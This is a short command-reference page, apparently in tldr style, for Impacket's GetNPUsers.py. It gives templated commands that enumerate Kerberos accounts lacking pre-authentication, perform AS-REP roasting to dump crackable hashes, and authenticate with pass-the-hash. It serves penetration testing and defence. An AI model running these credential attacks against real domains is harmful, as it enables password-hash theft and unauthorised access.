GetNPUsers.py

Enumerate Active Directory accounts with Kerberos pre-authentication disabled, which may be susceptible to AS-REP roasting attacks. Part of the Impacket suite. More information: https://github.com/fortra/impacket.

• Enumerate users with Kerberos pre-authentication disabled (default anonymous enumeration):

GetNPUsers.py {{domain}}/ -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}}

• Perform AS-REP roasting and dump crackable hashes for offline cracking:

GetNPUsers.py {{domain}}/ -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}} -request

• Authenticate with valid credentials (if anonymous binding is disabled):

GetNPUsers.py {{domain}}/{{username}}:{{password}} -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}}

• Use pass-the-hash authentication instead of a password:

GetNPUsers.py {{domain}}/{{username}} -hashes {{LM_Hash}}:{{NT_Hash}} -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}}

• Save the output to a file for further analysis:

GetNPUsers.py {{domain}}/ -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}} -request > {{output.txt}}
